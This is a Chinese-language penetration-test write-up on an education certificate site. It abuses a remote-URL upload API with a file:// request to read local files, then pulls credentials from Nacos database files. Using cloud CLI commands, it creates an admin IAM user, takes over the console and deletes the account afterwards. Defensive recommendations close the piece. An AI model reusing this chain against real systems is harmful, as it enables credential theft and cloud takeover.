五一腰疼出不去导致的edu证书站从lfi到控制台接管
字数 1310 2025-08-29 22:41:10
从LFI到云控制台接管:教育证书站渗透测试实战教学
1. 信息收集阶段
1.1 目标定位
- 使用Hunter.io等工具搜索教育机构(.edu)的SRC证书站点
- 通过JavaScript文件分析发现API路径(三个带api关键字的路径)
1.2 API接口发现
- 扫描发现其中一个接口路径下有api-doc文档
- 使用APIFox工具导入API文档进行测试
- 发现远程文件上传接口,允许通过远程URL上传文件
2. 漏洞利用阶段
2.1 本地文件包含(LFI)漏洞
- 利用远程文件上传功能实现任意文件读取:
POST /api/upload/remote { "url": "file:///etc/passwd" } - 服务器抓取文件内容后作为图片上传到MinIO
- 通过访问图片URL获取文件内容
2.2 系统文件读取
- 读取
/var/lib/mlocate/mlocate.db获取文件目录结构 - 分析mlocate.db发现高价值信息:
- Nacos配置中心
- MySQL数据库文件
- 各种配置文件(.properties)
2.3 Nacos配置中心渗透
- 从.properties文件获取Nacos的MySQL密码
- 读取Nacos数据库文件:
/var/lib/mysql/nacos/users.ibd- 存储Nacos平台用户凭证/var/lib/mysql/nacos_config/config_info.ibd- 存储服务配置信息
- 从数据库中发现:
- OSS的AK/SK(高权限账户)
- 学校公网MinIO的AK/SK(管理端在内网)
- OpenAI API密钥
- MongoDB连接信息
- SMS平台凭证
3. 云控制台接管
3.1 利用高权限OSS AK/SK
- 验证AK/SK权限级别(发现是高权限账户)
- 使用华为云CLI工具操作:
# 导入AK/SK export HW_ACCESS_KEY_ID=your_access_key export HW_SECRET_ACCESS_KEY=your_secret_key # 创建子账户 hcloud IAM CreateUser --user_name=pentest_user # 记住返回的用户ID # 列出组并获取管理员组ID hcloud IAM ListGroups # 将用户添加到管理组 hcloud IAM AddUserToGroup --group_id=admin_group_id --user_id=user_id
3.2 控制台登录
- 获取租户名:
hcloud IAM ShowAccount - 使用租户名+子账户登录华为云控制台
3.3 资产发现
- 发现混合云架构:
- 入口机器在教育机构内网
- MongoDB集群在华为云上
- 验证方法:
- 通过LFI访问DNSlog验证出口IP(显示为.edu出口)
- 尝试访问元数据服务确认是否云主机
4. 清理痕迹
- 删除创建的子账户:
hcloud IAM DeleteUser --user_id=user_id
5. 关键知识点总结
-
API接口安全:
- 远程文件上传功能未做严格校验导致LFI
- API文档暴露增加了攻击面
-
配置管理安全:
- Nacos配置中心暴露敏感信息
- 数据库文件权限配置不当
-
云安全最佳实践:
- 高权限AK/SK不应存储在配置中心
- 应启用多因素认证和权限最小化原则
- 监控异常子账户创建行为
-
混合云安全:
- 内网系统与云服务互联时的安全边界
- 跨云网络访问控制
6. 防御建议
-
API安全:
- 实施严格的输入验证
- 禁用危险的URL协议(file://)
- 实施权限控制和速率限制
-
配置管理:
- 加密敏感配置信息
- 限制配置文件的访问权限
- 定期轮换凭证
-
云安全:
- 使用临时凭证而非长期AK/SK
- 实施严格的IAM策略
- 启用异常操作告警
-
系统加固:
- 限制对系统文件的读取权限
- 定期更新mlocate数据库权限
- 隔离关键服务网络
通过本案例可以看到,从一个小小的LFI漏洞开始,通过系统性的信息收集和横向移动,最终可能导致整个云环境的控制权丢失。这强调了纵深防御和安全开发生命周期的重要性。